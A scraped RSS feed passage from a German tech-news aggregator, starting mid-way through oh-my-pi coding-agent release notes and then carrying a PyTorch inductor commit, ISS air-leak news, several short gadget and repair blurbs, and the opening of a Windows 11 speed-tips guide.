<li>Changed the <code>read</code>/<code>fetch</code> HTML reader-backend priority to <code>native &gt; trafilatura &gt; lynx &gt; parallel &gt; jina</code> (was <code>parallel &gt; jina &gt; trafilatura &gt; lynx &gt; native</code>). The in-process native <code>htmlToMarkdown</code> runs first — instant, no network, full-fidelity — so the common case no longer depends on a remote service, and a stalled remote backend can no longer mask it. Selecting a specific backend via <code>providers.fetch</code> tries it first, then the rest fall back. The low-quality gate (<code>&gt;100</code> chars and not <code>isLowQualityOutput</code>) now applies uniformly to every backend; when none clears it, the highest-priority substantial-but-low-quality output is still surfaced so the <code>llms.txt</code> / document-extraction fallbacks keep running.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed eval <code>agent()</code> failures surfacing as an opaque <code>RuntimeError: bridge call '__agent__' failed</code> with no reason. When a subagent aborted, <code>runEvalAgent</code> built its failure message with <code>result.error ?? result.stderr ?? result.abortReason ?? …</code>, but <code>result.stderr</code> is the empty string on a clean abort (and <code>result.error</code> is gated on a non-empty <code>stderr</code>), so the nullish chain stopped at <code>""</code> and never reached <code>abortReason</code>. The empty string propagated through the loopback bridge and the Python prelude's <code>RuntimeError(msg or "bridge call … failed")</code>, discarding the real reason. The chain now uses <code>||</code> so an empty <code>stderr</code> falls through to <code>abortReason</code>.</li>
<li>Fixed subagent aborts being mislabeled as the generic "Cancelled by caller" when the abort originated inside the subagent's own turn (<code>stopReason: "aborted"</code> with no caller signal and no runtime-limit timer). <code>runSubprocess</code> now prefers the aborted assistant message's <code>errorMessage</code> (e.g. "Request was aborted" or a specific stream error) for that case, while a real caller signal or wall-clock abort still reports its precise reason.</li>
<li>Fixed a long streaming tool preview that alone overflows the viewport dropping its scrolled-off head on ED3-risk terminals (ghostty/kitty/iTerm2/…). When expanded with <code>Ctrl+O</code>, a streaming <code>write</code> (content streaming in) and a streaming <code>eval</code> (stdout streaming below its fixed code cell) render top-anchored and grow append-only, but the tool block never reported itself append-only to the transcript, so the renderer's commit-as-you-go boundary stopped at the block start and the earlier rows that scrolled above the viewport were committed nowhere — they vanished, leaving the preview looking like a viewport-tall circular buffer. <code>ToolExecutionComponent</code> now implements <code>isTranscriptBlockAppendOnly()</code> (gated on <code>isTranscriptBlockFinalized()</code>, so it also covers partial-result streams like <code>eval</code>), delegating to a renderer-declared <code>isStreamingPreviewAppendOnly</code> predicate so the expanded stream commits its head exactly like a streamed assistant reply. Collapsed previews (bounded sliding tail windows) and finalized/result previews (which can collapse to a capped view) stay deferred.</li>
<li>Fixed <code>read</code>/<code>fetch</code> silently dropping whole list sections on pages with malformed list markup — stray <code>&lt;img&gt;</code>, text, or <code>&lt;video&gt;</code> nodes as direct children of <code>&lt;ul&gt;</code> (e.g. the Alacritty changelog). The Jina reader (previously tried before the local renderers) mis-extracts such lists, returning empty <code>Added</code>/<code>Changed</code> sections; the native in-process renderer now runs first and preserves the full content.</li>
<li>Fixed <code>/usage</code> aggregate amount fallback using raw <code>limits.length</code> as account count — now counts unique <code>accountId</code> values from limit scopes, so N limits from a single account no longer display as "N accts".</li>
<li>Fixed <code>/usage</code> account labeling falling back to "account N" for providers that use <code>projectId</code> as their primary identity (e.g. Google Antigravity, Gemini CLI) — <code>projectId</code> from report metadata is now considered before the generic fallback.</li>
<li>Fixed the <code>todo</code> tool's TUI renderer crashing with <code>TypeError: args?.ops?.map is not a function</code> when a streaming tool-call delta surfaced a non-array <code>ops</code> field (mid-stream <code>parseStreamingJson</code> shapes like <code>{ ops: "[{" }</code>, or <code>[null]</code> entries before fields arrive). The renderer now treats non-array <code>ops</code>, non-object entries, and non-array <code>items</code> as missing structure instead of crashing, which also stops the spam-warn cascade that followed each malformed delta. Paired with the Anthropic-side reasoning-replay fix in <code>packages/ai</code> (<a href="https://github.com/can1357/oh-my-pi/issues/2005" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2005/hovercard">#2005</a>).</li>
<li>Fixed Python eval <code>agent()</code> collapsing subagent runtime-limit aborts (and other empty-stderr aborts) into a generic <code>RuntimeError: bridge call '__agent__' failed</code>. <code>runEvalAgent</code> coalesced the failure message with <code>??</code>, which stopped at the empty <code>stderr</code> and never reached <code>abortReason</code>, shipping an empty error through the loopback bridge. The bridge now prefers <code>abortReason</code> for aborts and trims empty <code>stderr</code>/<code>error</code> out of the fallback chain, so Python surfaces the actionable reason (e.g. <code>Subagent runtime limit exceeded (task.maxRuntimeMs=900000)</code>) (<a href="https://github.com/can1357/oh-my-pi/issues/2006" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2006/hovercard">#2006</a>).</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Changed</h3>
<ul>
<li>Reworked the DEC 2026 synchronized-output default policy: a positive DECRQM mode-2026 report now <strong>enables</strong> sync (previously a report could only disable it), so conservatively defaulted-off hosts that actually support it — current Zellij, tmux master, foot, contour, mintty — are upgraded at runtime. The static allowlist also covers Alacritty and the VS Code terminal, honors a <code>TERM_FEATURES</code> <code>Sy</code> advertisement and <code>WT_SESSION</code> (Windows Terminal / WSL), and no longer blanket-disables SSH (DEC 2026 passes through to the outer terminal). Risky multiplexers still start off and rely on the probe. Added <code>synchronizedOutputUserOverride()</code> as the shared opt-out/force resolver.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed WSL/Windows Terminal row flicker while typing by repainting changed text rows before clearing only their stale suffix (<a href="https://github.com/can1357/oh-my-pi/issues/2011" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2011/hovercard">#2011</a>).</li>
<li>Fixed terminals that support DEC 2026 still tearing/flickering because the renderer ignored a positive DECRQM capability report and kept synchronized output off — most visibly WSL + Windows Terminal, Alacritty (≥0.13), and the VS Code terminal (≥1.108), which were detected yet refused sync.</li>
</ul>
<h2>@oh-my-pi/pi-utils</h2>
<h3>Changed</h3>
<ul>
<li><code>logger.printTimings()</code> (the <code>PI_TIMING</code> startup tree) now surfaces two previously-invisible regions: a <code>(before instrumentation)</code> line for runtime init / uncaptured pre-marker work, and an <code>(unattributed self)</code> line for the root span's own untimed work so the gap between visible top-level spans and <code>Total</code> is no longer swallowed. <code>Total</code> is now labelled <code>(since first marker)</code> to make the window explicit. The restored <code>module-timer.ts</code> preload can feed module spans into the report: each module records <code>onLoad</code> → final top-level marker as <code>total</code>, a prepended body marker → final marker as <code>body/TLA</code>, and resolved static imports as a bounded dependency tree so the report separates graph wait from actual top-level module work.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(ai): strip type-specific keys when CCA mixed-type collapse picks non-matching type by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/basedcorp99/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/basedcorp99">@basedcorp99</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604403802" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2002" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2002/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2002">#2002</a></li>
<li>fix(usage): sanitize Antigravity /usage display — dedupe by tier, fix account count, merge window data by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/basedcorp99/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/basedcorp99">@basedcorp99</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604535282" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2004" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2004/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2004">#2004</a></li>
<li>fix(coding-agent): harden todo renderer against malformed streaming args by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604606095" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2007" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2007/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2007">#2007</a></li>
<li>fix(eval): surface subagent abort reason through Python agent() bridge by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604617408" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2008" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2008/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2008">#2008</a></li>
<li>docs(web-search): updated kagi description to v1 endpoint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604730736" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2010" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2010/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2010">#2010</a></li>
<li>fix(tui): reduce WSL row flicker while typing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4605011322" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2012" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2012/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2012">#2012</a></li>
<li>fix(debug): wait for dlv unix socket before connecting by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4605183307" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2014" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2014/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2014">#2014</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.9.69...v15.10.0"><tt>v15.9.69...v15.10.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The IoT Appliance Repair Gap: When Your Wi-Fi Dishwasher Breaks, Who Actually Fixes It?]]></title>
<description><![CDATA[In this post, I will talk about the IoT appliance repair gap and aswer the question – when your Wi-Fi dishwasher breaks, who actually fixes it? Connected appliances have created a category of failure that most authorised service networks are not set up to handle. When a smart dishwasher stops wor...]]></description>
<link>https://tsecurity.de/de/3579744/it-security-nachrichten/the-iot-appliance-repair-gap-when-your-wi-fi-dishwasher-breaks-who-actually-fixes-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579744/it-security-nachrichten/the-iot-appliance-repair-gap-when-your-wi-fi-dishwasher-breaks-who-actually-fixes-it/</guid>
<pubDate>Sun, 07 Jun 2026 19:37:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this post, I will talk about the IoT appliance repair gap and aswer the question – when your Wi-Fi dishwasher breaks, who actually fixes it? Connected appliances have created a category of failure that most authorised service networks are not set up to handle. When a smart dishwasher stops working in a Dubai apartment, […]</p>
<p>The post <a href="https://secureblitz.com/iot-appliance-repair-gap/">The IoT Appliance Repair Gap: When Your Wi-Fi Dishwasher Breaks, Who Actually Fixes It?</a> appeared first on <a href="https://secureblitz.com/">SecureBlitz Cybersecurity</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[trunk/422ebe9773bebfdc01f7c43516a785421281238f: [inductor] Fix FakeTensorUpdater for flex attention backward (#186410)]]></title>
<description><![CDATA[Overlap scheduling can wrap flex_attention_backward in control_deps after FakeTensorUpdater has already captured the set of subgraph GraphModules it owns. The wrapper is a new one-node subgraph, while the real flex backward fw, joint, and mask subgraphs are passed through that wrapper as operands...]]></description>
<link>https://tsecurity.de/de/3577154/downloads/trunk422ebe9773bebfdc01f7c43516a785421281238f-inductor-fix-faketensorupdater-for-flex-attention-backward-186410/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577154/downloads/trunk422ebe9773bebfdc01f7c43516a785421281238f-inductor-fix-faketensorupdater-for-flex-attention-backward-186410/</guid>
<pubDate>Sat, 06 Jun 2026 08:30:42 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Overlap scheduling can wrap flex_attention_backward in control_deps after FakeTensorUpdater has already captured the set of subgraph GraphModules it owns. The wrapper is a new one-node subgraph, while the real flex backward fw, joint, and mask subgraphs are passed through that wrapper as operands. The previous control_deps handling only described the wrapper subgraph itself, so the updater could miss the tracked nested flex subgraphs and leave their placeholder metadata unchanged.</p>
<p>The backward flex HOP also has a different subgraph signature from forward flex attention. Forward has score and mask subgraphs with separate optional buffer lists. Backward has fw and joint subgraphs that consume score-mod buffers from args[12], and a mask subgraph that consumes mask buffers from args[13]. FakeTensorUpdater depends on _extract_subgraphs_and_args to translate HOP operands back into the placeholder values used for each subgraph; without this mapping, a re-strided buffer operand can update the outer node while the inner subgraph still sees stale fake tensor metadata.</p>
<p>The fix keeps that reasoning in _extract_subgraphs_and_args, where other HOP-specific argument layouts are already handled. It adds the flex_attention_backward mapping, then teaches control_deps to look through its wrapper when the wrapper operands contain tracked subgraphs. The unwrapping maps wrapper placeholders back to the actual control_deps operands and reuses the wrapped node's existing HOP extraction logic, avoiding a second flex-specific implementation in the control-deps pass or in the updater loop.</p>
<p>control_deps creates wrapper placeholders for original FX operands. When one of those operands is a get_attr node for a GraphModule, the placeholder does not naturally carry fake metadata. Preserving the resolved get_attr value lets fake propagation materialize GraphModule operands inside the wrapper, which is what makes the recursive subgraph update path see the same values that the original graph call would use.</p>
<p>The regression test traces the flex backward FX graph with make_fx, then mutates only the buffer operands that FakeTensorUpdater is expected to repair. The distributed test exercises the end-to-end overlap_scheduling plus insert_overlap_deps path that produces the control_deps wrapper around flex_attention_backward.</p>
<p>Test Plan</p>
<div class="highlight highlight-source-shell notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="python test/distributed/test_aten_comm_compute_reordering.py TestComputeCommReorderingMultiProc.test_overlap_scheduling_flex_attention_backward"><pre>python test/distributed/test_aten_comm_compute_reordering.py TestComputeCommReorderingMultiProc.test_overlap_scheduling_flex_attention_backward</pre></div>
<p>Authored with assistance from an AI assistant.</p>
<p>Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4599917682" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/186410" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/186410/hovercard" href="https://github.com/pytorch/pytorch/pull/186410">#186410</a><br>
Approved by: <a href="https://github.com/eellison">https://github.com/eellison</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Diagnose/Repair Your Seagate Or Maxtor Drive With SeaTools]]></title>
<description><![CDATA[Seagate and Maxtor, both are popular brands for Internal and External drives. If you are one of those users who own a drive that is made by any of the above two companies and is not working properly, then you can diagnose the drives with SeaTools. It supports non-Seagate drives as well, but in my...]]></description>
<link>https://tsecurity.de/de/3576934/betriebssysteme/diagnoserepair-your-seagate-or-maxtor-drive-with-seatools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576934/betriebssysteme/diagnoserepair-your-seagate-or-maxtor-drive-with-seatools/</guid>
<pubDate>Sat, 06 Jun 2026 04:08:36 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Seagate and Maxtor, both are popular brands for Internal and External drives. If you are one of those users who own a drive that is made by any of the above two companies and is not working properly, then you can diagnose the drives with SeaTools. It supports non-Seagate drives as well, but in my […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/windows-tips/diagnoserepair-your-seagate-or-maxtor-drive-with-seatools/">Diagnose/Repair Your Seagate Or Maxtor Drive With SeaTools</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[We've called Shokz OpenRun Pro 2 'the best headphones for runners', and this 25% EOFY discount has arrived just in time for marathon season]]></title>
<description><![CDATA[These bone conduction headphones have hit a new low price of AU$239 in Amazon’s Mid-Year Sale, and have even made it to the retailer’s bestseller list.]]></description>
<link>https://tsecurity.de/de/3576738/it-nachrichten/weve-called-shokz-openrun-pro-2-the-best-headphones-for-runners-and-this-25-eofy-discount-has-arrived-just-in-time-for-marathon-season/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576738/it-nachrichten/weve-called-shokz-openrun-pro-2-the-best-headphones-for-runners-and-this-25-eofy-discount-has-arrived-just-in-time-for-marathon-season/</guid>
<pubDate>Sat, 06 Jun 2026 01:17:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[These bone conduction headphones have hit a new low price of AU$239 in Amazon’s Mid-Year Sale, and have even made it to the retailer’s bestseller list.]]></content:encoded>
</item>
<item>
<title><![CDATA[NASA Orders ISS Crew Members to Briefly Shelter During Leak Repair Work]]></title>
<description><![CDATA[The four SpaceX Crew-12 crew members and NASA astronaut Chris Williams have since returned to work.]]></description>
<link>https://tsecurity.de/de/3576614/it-nachrichten/nasa-orders-iss-crew-members-to-briefly-shelter-during-leak-repair-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576614/it-nachrichten/nasa-orders-iss-crew-members-to-briefly-shelter-during-leak-repair-work/</guid>
<pubDate>Fri, 05 Jun 2026 23:32:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The four SpaceX Crew-12 crew members and NASA astronaut Chris Williams have since returned to work.]]></content:encoded>
</item>
<item>
<title><![CDATA[ISS Astronauts Told To Prepare For Possible Evacuation Over Air Leak]]></title>
<description><![CDATA[NASA ordered astronauts on the International Space Station to shelter in their spacecraft and prepare for possible evacuation after a worsening air leak in the Russian Zvezda service module's transfer tunnel. The Guardian reports: The four astronauts of NASA's Crew-12 mission on the station -- tw...]]></description>
<link>https://tsecurity.de/de/3575834/it-security-nachrichten/iss-astronauts-told-to-prepare-for-possible-evacuation-over-air-leak/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3575834/it-security-nachrichten/iss-astronauts-told-to-prepare-for-possible-evacuation-over-air-leak/</guid>
<pubDate>Fri, 05 Jun 2026 17:39:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[NASA ordered astronauts on the International Space Station to shelter in their spacecraft and prepare for possible evacuation after a worsening air leak in the Russian Zvezda service module's transfer tunnel. The Guardian reports: The four astronauts of NASA's Crew-12 mission on the station -- two US astronauts, a French astronaut and a Russian cosmonaut -- received orders from NASA mission control at 9.04am ET (2pm BST) on Friday to enter their Crew Dragon spacecraft docked to the station and don their spacesuits in case the air leak warranted an emergency evacuation, a NASA official said.
 
NASA and Russia's space agency Roscosmos, the station's two primary operators, have debated for months over the cause and potential fixes of small air leaks onboard Russia's Zvezda service module, a key structure of the football-pitch-sized laboratory. The air leaks have been relatively minor in recent months. But on Monday the problem escalated from a pound of air per day to two pounds (0.9kg) a senior Nasa official told Reuters on condition of anonymity. UPDATE: "Roscosmos has paused Friday's structural repair efforts inside the Zvezda service module transfer tunnel, known as PrK, as more measurements and data is assessed," Bethany Stevens, a spokesperson for NASA, posted on X.
 
"Given this development, NASA has instructed the crew members inside the Dragon spacecraft to end the safe haven procedures and return to planned operations aboard the International Space Station. We look forward to working with Roscosmos on a collaborative approach to address the leaks."
 
Developing...<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=ISS+Astronauts+Told+To+Prepare+For+Possible+Evacuation+Over+Air+Leak%3A+https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F06%2F05%2F1515246%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F06%2F05%2F1515246%2Fiss-astronauts-told-to-prepare-for-possible-evacuation-over-air-leak%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://science.slashdot.org/story/26/06/05/1515246/iss-astronauts-told-to-prepare-for-possible-evacuation-over-air-leak?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[NASA tells astronauts to shelter in SpaceX Dragon due to new ISS leaks]]></title>
<description><![CDATA[The space agency says Roscosmos has discovered new leaks in the Russian service module that it is trying to repair.]]></description>
<link>https://tsecurity.de/de/3575720/it-nachrichten/nasa-tells-astronauts-to-shelter-in-spacex-dragon-due-to-new-iss-leaks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3575720/it-nachrichten/nasa-tells-astronauts-to-shelter-in-spacex-dragon-due-to-new-iss-leaks/</guid>
<pubDate>Fri, 05 Jun 2026 16:49:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The space agency says Roscosmos has discovered new leaks in the Russian service module that it is trying to repair.]]></content:encoded>
</item>
<item>
<title><![CDATA[I customized a MacBook Neo with colorful spare parts]]></title>
<description><![CDATA[The MacBook Neo is Apple's cheapest laptop, its most colorful, and its easiest to repair in years. That means owners can buy replacement parts in all four of its available colors and swap them in on their own. So that got us thinking: What if we bought a Neo just to see how funky we […]]]></description>
<link>https://tsecurity.de/de/3575266/it-nachrichten/i-customized-a-macbook-neo-with-colorful-spare-parts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3575266/it-nachrichten/i-customized-a-macbook-neo-with-colorful-spare-parts/</guid>
<pubDate>Fri, 05 Jun 2026 14:02:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The MacBook Neo is Apple's cheapest laptop, its most colorful, and its easiest to repair in years. That means owners can buy replacement parts in all four of its available colors and swap them in on their own. So that got us thinking: What if we bought a Neo just to see how funky we […]]]></content:encoded>
</item>
<item>
<title><![CDATA[16 ways to speed up Windows 11]]></title>
<description><![CDATA[Windows 11 does a lot under the hood to speed up a PC’s performance, but PCs tend to slow down over time as they accumulate apps, files, drivers, and other detritus. Even zippy new Windows 11 devices can be sped up — and protected against future slowdowns — with a few minor system tweaks.



It’s...]]></description>
<link>https://tsecurity.de/de/3575028/it-nachrichten/16-ways-to-speed-up-windows-11/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3575028/it-nachrichten/16-ways-to-speed-up-windows-11/</guid>
<pubDate>Fri, 05 Jun 2026 12:17:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Windows 11 <a href="https://www.pcworld.com/article/395131/how-windows-11-will-speed-up-your-slow-pc.html" target="_blank">does a lot under the hood</a> to speed up a PC’s performance, but PCs tend to slow down over time as they accumulate apps, files, drivers, and other detritus. Even zippy new Windows 11 devices can be sped up — and protected against future slowdowns — with a few minor system tweaks.</p>



<p>It’s simple to make your Windows PC run faster. Just follow these tips.</p>



<h3 class="wp-block-heading">Top ways to speed up Windows 11</h3>



<ol class="wp-block-list">
<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#startup-apps">Disable programs that run on startup</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#unused-apps">Turn off unused apps with high resource usage</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#efficiency-mode">Use Efficiency mode</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#automatic-maintenance">Use automatic Windows maintenance</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#bloatware">Kill adware and bloatware</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#search-indexing">Turn off search indexing</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#storage-sense">Clean out your hard drive</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#visual-effects">Disable shadows, animations, and visual effects</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#transparency">Disable transparency</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#power-settings">Change your power settings</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#win-tips-tricks">Turn off Windows tips and tricks</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#game-mode">Disable Game Mode</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#update-drivers">Update device drivers</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#background-app-permissions">Turn off background app permissions</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#restore-your-pc">Roll back your PC to a previous state</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#restart">Restart Windows</a></li>
</ol>



<p>Read on for details.</p>



<p><em><em>Note: This story covers Windows 11 version 25H2. If you have an earlier release of Windows 11, some things may be slightly different. If you have Windows 10, see our </em><a href="https://www.computerworld.com/article/1634994/ways-to-speed-up-windows-10.html"><em>Windows 10 speed tips</em></a><em>.</em></em></p>



<h2 class="wp-block-heading">1. Disable programs that run on startup</h2>



<p>Your Windows 11 PC could be a laggard if programs you rarely or never use are running in the background. Your PC will run faster if you stop them from running.</p>



<p>To do it, first launch the Task Manager in one of these ways: </p>



<ul class="wp-block-list">
<li>Press Ctrl-Shift-Esc.</li>



<li>Right-click the lower-right corner of your screen and select <em>Task Manager</em>.</li>



<li>Type <strong>task manager</strong> into the Windows 11 search box and press Enter. </li>
</ul>



<p>There’s a lot you can use Task Manager for, but here we’re focusing only on killing unnecessary programs that run at startup.</p>



<p>Click the <em>Startup apps</em> icon on the left side of the screen. (It’s the fifth icon from the top.) It displays a list of the programs and services that launch when you start Windows. The list includes each program’s name as well as its publisher, whether it’s enabled to run on startup, and its “Startup impact,” which is how much it slows down Windows 11 when the system starts up. Note, though, that the screen doesn’t show how much each program will impact your performance after startup, during normal PC operations.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-01-task-manager-startup.jpg?quality=50&amp;strip=all" alt="screenshot of task manager startup apps screen with list of apps that run at startup" class="wp-image-4177286" width="803" height="446" sizes="auto, (max-width: 803px) 100vw, 803px"><figcaption class="wp-element-caption"><p>You can use the Windows Task Manager to get information about programs that launch at startup and disable any you don’t need.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<p>Also note that not all apps will have useful information about their startup impact — many show up as “Not measured” in Task Manager. There are multiple reasons you might see this. For example, some apps don’t provide the Windows metadata required to measure their startup impact, and others start up too late in the boot process to be measured. Still others may not have been started a sufficient number of times for Windows to measure their impact. (The Windows Club has an <a href="https://www.thewindowsclub.com/startup-impact-not-measured-in-task-manager" target="_blank" rel="noreferrer noopener">article</a> with tips and workarounds for “Not measured” apps.)</p>



<p>To stop a program or service from launching at startup, right-click it and select <em>Disable</em>. This doesn’t disable the program entirely; it only prevents it from launching at startup — you can run the application after launch. Also, if you later decide you want it to launch at startup, you can return to this area of the Task Manager, right-click the application and select <em>Enable</em>.</p>



<p>Many of the programs and services that run on startup may be familiar to you, like Microsoft OneDrive or Spotify. But you may not recognize many of them. (Anyone who immediately knows what “bzbui.exe” is, please raise your hand. No fair Googling it first.)</p>



<p>The Task Manager can find information about unfamiliar programs. Right-click an item and select <em>Properties</em> for more information about it, including its location on your hard disk, whether it has a digital signature, and other information such as the version number, the file size, and the last time it was modified. (Note that not all programs provide this information when you right-click them — the Properties button may be grayed out.)</p>



<p>You can also right-click the item and select <em>Open file location</em>. That opens File Explorer and takes it to the folder where the file is located, which may give you another clue about the program’s purpose.</p>



<p>Finally, and most helpfully, you can select <em>Search online</em> after you right-click. Bing will then launch with links to sites with information about the program or service. With Task Manager’s help, I easily discovered that bzbui.exe is Backblaze backup software, something I want to run automatically during startup.</p>



